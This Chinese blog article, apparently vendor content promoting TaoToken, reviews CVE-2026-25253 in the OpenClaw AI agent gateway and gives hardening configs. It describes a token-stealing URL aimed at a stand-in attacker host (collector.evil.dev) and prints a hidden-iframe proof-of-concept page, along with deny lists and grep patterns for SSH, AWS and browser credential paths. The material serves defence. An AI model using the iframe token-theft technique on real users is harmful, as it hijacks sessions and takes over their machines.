ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

复盘 OpenClaw 惊魂 48 小时:从 CVE-2026-25253 看 WebSocket Token 泄露链路与 TaoToken 配置加固

复盘 OpenClaw 惊魂 48 小时:从 CVE-2026-25253 看 WebSocket Token 泄露链路与 TaoToken 配置加固 1. 一条链接如何接管你的电脑OpenClaw 攻击链复盘OpenClaw 是一个本地部署的 AI Agent 网关它把浏览器、终端、即时通讯工具串在一起让你用自然语言指挥电脑干活。方便是真方便但它默认监听localhost:3000并且早期版本允许通过 URL 参数指定gatewayUrl这就给 CVE-2026-25253 留了口子。攻击者只需要在 Discord、Reddit 或 X 上发一条“社区主题预览”链接页面里藏一个 1x1 的 iframe指向http://localhost:3000/?gatewayUrlws://collector.evil.dev:443/ws。你点开链接的瞬间浏览器会带着你本地的 OpenClaw 会话去连接攻击者的 WebSocketToken 就在握手包里被顺走了。这条链路的关键不是某个高深的内存破坏而是三个“合理设计”叠在一起本地服务信任 localhost、WebSocket 握手不校验 Origin、Token 长期有效且不绑定 IP。我试过在隔离环境里复现从点击到 Token 落盘全程不到 3 秒受害者页面甚至不会刷新。下面我把复现步骤、配置加固和 TaoToken 统一 Key 接入的骨架都拆开讲你可以直接对照自己的环境检查暴露面。2. TaoToken 前置统一 Key 与网关隔离在讲配置之前先解决一个现实问题OpenClaw 这类 Agent 通常要接多个模型供应商OpenAI、Anthropic、DeepSeek 各一套 Key散落在.env、settings.json、config.toml里。一旦 Token 泄露攻击者拿到的不只是 OpenClaw 的会话凭证还可能顺藤摸瓜拿到你所有上游 API Key。TaoToken 在这里的作用是做一个统一入口你只在 TaoToken 控制台生成一把 KeyOpenClaw 只认这一把上游的模型凭证全部收口在 TaoToken 侧。这样做的好处很直接。第一泄露面从“N 个供应商 Key”收敛成“1 个 TaoToken Key”你只需要轮换一处。第二TaoToken 的 Key 可以按项目、按环境拆分OpenClaw 用一把其他工具用另一把互不影响。第三接入方式兼容 OpenAI 协议OpenClaw 的base_url改一行就能切过去不需要改 Agent 内部逻辑。你需要提前准备的东西一个 TaoToken 账号进入控制台创建 API Key确认 OpenClaw 版本号低于2026.1.29的先升级把现有.env里的上游 Key 备份后删除避免加固后旧 Key 还在环境变量里裸奔。TaoToken 的 API 入口是https://taotoken.net/api模型对话、Coding Plan、控制台、API Keys 管理都有独立页面后面 CTA 我会按场景分流。3. 可复制配置settings.json 与 config.toml 骨架OpenClaw 的配置分两层settings.json管网关和鉴权config.toml管模型接入和工具权限。先看settings.json重点是关掉 URL 参数覆盖、加 Origin 白名单、给 Token 加短过期和 IP 绑定。{ gateway: { host: 127.0.0.1, port: 3000, allowUrlOverride: false, allowedOrigins: [ http://127.0.0.1:3000, http://localhost:3000 ], websocket: { verifyOrigin: true, maxConnectionsPerIp: 3, handshakeTimeoutMs: 5000 } }, auth: { tokenTtlSeconds: 900, bindTokenToIp: true, rotateOnRestart: true, requireReauthForExecute: true }, logging: { logWebsocketHandshake: true, logTokenIssuance: true, logExecuteCommands: true, logPath: /var/log/openclaw/audit.log } }几个参数值得展开。allowUrlOverride: false直接堵死?gatewayUrl这条注入路径这是 CVE-2026-25253 的根因必须关。verifyOrigin: true让网关在 WebSocket 握手时检查Origin头来自evil.dev的 iframe 会被拒。bindTokenToIp: true意味着 Token 只在签发时的 IP 上有效攻击者从自己服务器重放也没用。tokenTtlSeconds: 900把有效期压到 15 分钟配合rotateOnRestart重启即换新。再看config.toml这里接 TaoToken 统一 Key并把工具权限收紧。[model] provider openai-compatible base_url https://taotoken.net/api api_key ${TAOTOKEN_API_KEY} model claude-sonnet-4-20250514 timeout_seconds 60 max_retries 2 [agent] name openclaw-local sandbox true allow_shell false allow_file_write false allowed_paths [~/Documents/agent-workspace] deny_paths [~/.ssh, ~/.aws, ~/.config, ~/Library] [tools.telegram] enabled false [tools.whatsapp] enabled false [audit] log_tool_calls true log_model_requests true redact_secrets trueapi_key用环境变量注入不要写死在文件里。allow_shell: false和allow_file_write: false是纵深防御即使 Token 被偷攻击者能调用的工具面也被砍到最小。deny_paths显式挡住 SSH 私钥、AWS 凭证、浏览器数据目录。tools.telegram和tools.whatsapp默认关掉需要时再按需开避免攻击者用你的社交账号二次传播。环境变量这样设export TAOTOKEN_API_KEYsk-你的taotoken密钥 export OPENCLAW_CONFIG/etc/openclaw/config.toml如果你用 Docker 跑 OpenClaw把这两个变量通过--env-file传入不要写进docker-compose.yml的明文里。4. 验证请求与成功结果本地复现与日志检查配置改完先做一次本地复现确认加固生效。准备一个模拟攻击页面evil.html放在另一个端口上!DOCTYPE html html headtitleTheme Preview/title/head body h1OpenClaw Community Themes/h1 iframe srchttp://localhost:3000/?gatewayUrlws://127.0.0.1:9999/ws stylewidth:1px;height:1px;opacity:0;position:fixed;top:-9999px; /iframe /body /html用 Python 起一个静态服务python3 -m http.server 8080 --directory ./evil-page然后浏览器访问http://127.0.0.1:8080/evil.html。加固前你会在 OpenClaw 日志里看到一条来自127.0.0.1:9999的 WebSocket 握手尝试加固后日志应该出现拒绝记录tail -f /var/log/openclaw/audit.log | grep -i origin\|handshake\|reject预期输出类似[2026-02-04T10:12:33Z] WARN websocket handshake rejected remote_ip127.0.0.1 originhttp://127.0.0.1:8080 reasonorigin_not_allowed [2026-02-04T10:12:33Z] INFO url_override_blocked paramgatewayUrl valuews://127.0.0.1:9999/ws再验证 TaoToken 接入是否通。用 curl 直接打 TaoToken 的 APIcurl -s https://taotoken.net/api/v1/chat/completions \ -H Authorization: Bearer $TAOTOKEN_API_KEY \ -H Content-Type: application/json \ -d { model: claude-sonnet-4-20250514, messages: [{role: user, content: ping}], max_tokens: 16 } | head -c 400返回里能看到choices字段和正常的content说明 Key 有效、网络可达。然后在 OpenClaw 里发一条测试指令比如“列出 agent-workspace 下的文件”观察audit.log里是否记录了模型请求和工具调用且redact_secrets: true生效日志里看不到完整 Key。日志检查清单逐条过一遍# 1. 是否有非白名单 Origin 的握手尝试 grep origin_not_allowed /var/log/openclaw/audit.log # 2. 是否有 gatewayUrl 参数注入 grep url_override_blocked /var/log/openclaw/audit.log # 3. 是否有异常 IP 的 Token 使用 grep token_ip_mismatch /var/log/openclaw/audit.log # 4. 是否有对敏感路径的访问尝试 grep -E \.ssh|\.aws|Login Data /var/log/openclaw/audit.log # 5. 当前版本是否已修复 openclaw --version如果第 1、2 条有记录说明有人正在扫你的网关第 3 条有记录说明 Token 可能已经泄露立刻轮换第 4 条有记录说明攻击者已经拿到执行权限按入侵处理。5. 本篇常见错排查报错一WebSocket connection failed: 403 Forbidden加固后正常访问也 403多半是allowedOrigins没把你的实际访问地址加进去。如果你通过http://192.168.1.10:3000访问就要把这条也加进白名单。注意 Origin 是协议主机端口http和https算不同来源。报错二Token expired频繁出现tokenTtlSeconds: 900对交互式使用偏短如果你在长时间调试可以临时调到 3600但生产环境建议保持 900 并配合自动续签。rotateOnRestart: true会导致每次重启 OpenClaw 后旧 Token 失效客户端要重新走一次鉴权流程这是预期行为。报错三TaoToken 返回401 Unauthorized先确认TAOTOKEN_API_KEY环境变量在当前 shell 里可见echo $TAOTOKEN_API_KEY | head -c 8。如果为空说明export没生效或 Docker 没传进去。再确认 Key 没有多余空格复制时容易带上换行。最后检查base_url是否写成了https://taotoken.net/api不要漏掉/api也不要多加/v1OpenClaw 的 openai-compatible 适配器会自动拼路径。报错四allow_shell: false导致 Agent 无法执行命令这是有意为之。如果你确实需要 Agent 跑 shell不要全局打开而是用allowed_paths限定工作目录并单独开一个受限的 shell 工具配合requireReauthForExecute: true每次执行前重新鉴权。宁可多一步确认也不要让 Token 泄露直接等于命令执行。报错五日志里出现redact_secrets未生效检查audit.redact_secrets是否在[audit]段下TOML 对层级敏感。另外redact_secrets只处理日志输出不处理内存中的 Key别把它当成加密手段。6. 把 Key 收口到 TaoToken把网关关进 localhostCVE-2026-25253 的教训不是“OpenClaw 不能用”而是“本地服务不能默认信任浏览器”。一条链接能接管电脑靠的是 iframe 跨域发起的 WebSocket 请求绕过了同源策略的视觉感知而网关又没校验 Origin。加固的核心就三件事关掉 URL 参数覆盖、校验 Origin、Token 短过期加 IP 绑定。这三条做完同类攻击链基本断掉。Key 管理上把上游供应商的 Key 全部收进 TaoTokenOpenClaw 只持有一把可轮换的 Key。这样即使网关被突破你只需要在 TaoToken 控制台撤销一把 Key不用挨个去 OpenAI、Anthropic 后台操作。接入配置就是base_url https://taotoken.net/api加环境变量注入改完跑一次 curl 验证再在 OpenClaw 里发一条测试指令看审计日志。如果你正在做 OpenClaw 的接入或排障先去 TaoToken 控制台创建 API Key再对照接入文档把config.toml的base_url和api_key换掉验证模型连通性可以直接用模型对话页面发一条消息如果你打算长期跑编码类 AgentCoding Plan 的额度模型更适合高频调用。网关侧记得把settings.json的allowUrlOverride设为false这一行比任何杀毒软件都管用。
返回列表